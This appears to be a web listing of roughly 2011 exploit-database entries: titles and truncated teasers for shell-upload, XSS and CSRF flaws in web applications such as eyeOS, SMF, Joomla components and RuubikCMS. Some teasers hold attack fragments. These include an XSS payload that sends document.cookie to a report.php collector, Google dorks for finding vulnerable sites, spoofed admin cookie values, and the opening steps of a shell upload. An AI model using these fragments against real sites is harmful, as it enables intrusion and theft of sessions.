eyeOS Shell Upload / Cross Site Scripting

A few weeks ago, an exploit for an increasingly more popular open source OS on http://www.exploit-db.com/exploits/17220/ was made public, it was titled 'eyeOS var http = new XMLHttpRequest var url = "http://localhost/report.php?" + "user=" + top.document.title + "&cookie=" + document.cookie;...

FestOS 2.3c XSRF / Shell Upload

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 + Site : 1337day.com 0 1 + Support e-mail :...

FestOS <= 2.3c (CSRF/FU) Multiple Vulnerabilities

Exploit for php platform in category web applications 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 +...

Bitweaver 2.x (FCKeditor) Multiple Arbitrary Shell Upload

Exploit for php platform in category web applications 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 +...

ClanSphere 2011.0 Shell Upload / Local File Inclusion

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 + Site : 1337day.com 0 1 + Support e-mail :...

Ariadne 2.7.4 Shell Upload

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 + Site : 1337day.com 0 1 + Support e-mail :...

Rightnow's => Auth Bypass Vulnerability (Shell Upload)

Exploit for php platform in category web applications My + Author : KaCaK Contact : email protected HomePage : http://secureb0x.blogspot.com , http://griadamlar.com Greetz : KnockOut , Mus4llat , Technical and All My Friends Software info |Web App. : Madni Designers Web Portal |Price : Price...

deV!L`z Clanportal 1.5.5.2 Shell Upload

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 + Site : 1337day.com 0 1 + Support e-mail :...

SoftXMLCMS Shell Upload Vulnerability

Exploit for asp platform in category web applications Exploit Title : softxmlcms Shell Upload Vulnerability Google Dork : Powered by softxmlcms Author : Alexander Software Link : http://www.softxml.com Test On : Windows/asp/php CVE : Web Applications === Exploit ===...

SMF 2.0 RC5 Remote Shell Upload Exploit

Exploit for php platform in category web applications Title : SMF 2.0 RC5 Remote Shell Upload Exploit Author : KedAns-Dz E-mail : email protected Home : HMD/AM 30008/04300 - Algeria -00213555248701 Twitter page : twitter.com/kedans platform : php Impact : Remote Shell Upload Tested on : Windows X...

SMF 2.0 RC5 Shell Upload

Title : SMF 2.0 RC5 Remote Shell Upload Exploit Author : KedAns-Dz E-mail : [email protected] Home : HMD/AM 30008/04300 - Algeria -00213555248701 Twitter page : twitter.com/kedans platform : php Impact : Remote Shell Upload Tested on : Windows XP sp3 FR » In The name of Allah Go0Gle D0rk : "Power...

Joomla Facileforms Shell Upload

Exploit Title :Joomla facileforms component shell Upload Vulnerability + Author : HcJ + Date : 02-04-2011 + category: Web Apps + HomePage : Black-hat.cc Dork: "index.php?option=comfacileforms" Vulnerability: shell Upload Vulnerability...

SemCms background cookie spoofing vulnerability and fix-vulnerability warning-the black bar safety net

Google keywords:inurl:Pview asp? pid= Vulnerability file: ClkjInc/WebOut. asp FROM http://www.st999.cn/blog Use of cookies: username=uname=admin;userpas=upas=admin; Open Ah D injection tools, or other can modify the cookies of the tool, is modified to the above cookies, then log back...

SmarterTools SmarterMail < 8.0 Multiple Vulnerabilities

SmarterTools SmarterMail is prone to multiple vulnerabilities. SPDX-FileCopyrightText: 2011 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE =...

TailoredWeb Shell Upload Vulnerability

Exploit for php platform in category web applications Exploit Title : TailoredWeb SheLL Upload Vulnerability. Date : 03/20/2011 Author : xConsoLe Script Vendor: TailoredWeb.comHome : tak3down.com Category : webapps d0rk : inurl:simple-upload-53.php Tested on : Windows XP SP3 - Go to site :...

Joomla File Uploader Shell Upload

Title : Joomla Component comfileuploader Upload File Vulnerability Author : KedAns-Dz E-mail : [email protected] Home : HMD/AM 30008/04300 - Algeria -00213555248701 Twitter page : twitter.com/kedans platform : php Impact : Upload File Vulnerability Tested on : Windows XP sp3 FR Note : BAC 2011...

SmarterMail 7.x Cross Site Scripting / Shell Upload / Traversal

To: Vuln.Lists Re: Coordinated Disclosure, SmarterMail 7.x Versions Private Note - Rewrite as you wish, vendor has acknowledged these bugs and more and issued a fix. ------------------------------ Author: Hoyt LLC Research | http://xss.cx | http://cloudscan.me Identified: October 28, 2010 Vendor:...

PHP-Nuke Shell Upload

PHP-Nuke Shell Upload Vulnerability By : h311 c0d3 Contact : [email protected] Home : Black-Hat.cc Dork : inurl:modules.php?name=Upload Exploit : 1- you should first install Tamper Data from here https://addons.mozilla.org/en-us/firefox/addon/tamper-data/ 2- start tamper then, upload your shell as...

RuubikCMS < v1.0.3 Shell Upload Vulnerability

Exploit for php platform in category web applications Exploit Title : RuubikCMS v1.0.3 Shell Upload Vulnerability Google Dork : Powered by RuubikCMS Date : 2011-03-06 Author : Alexander Software Link : http://www.ruubikcms.com Version : v1.0.3 Test On : Linux/php CVE : Web Applications === Exploi...

RuubikCMS Shell Upload

Exploit Title : RuubikCMS v1.0.3 Shell Upload Vulnerability Google Dork : Powered by RuubikCMS Date : 2011-03-06 Author : Alexander Software Link : http://www.ruubikcms.com Version : v1.0.3 Test On : Linux/php CVE : Web Applications === Exploit === http://server/patch...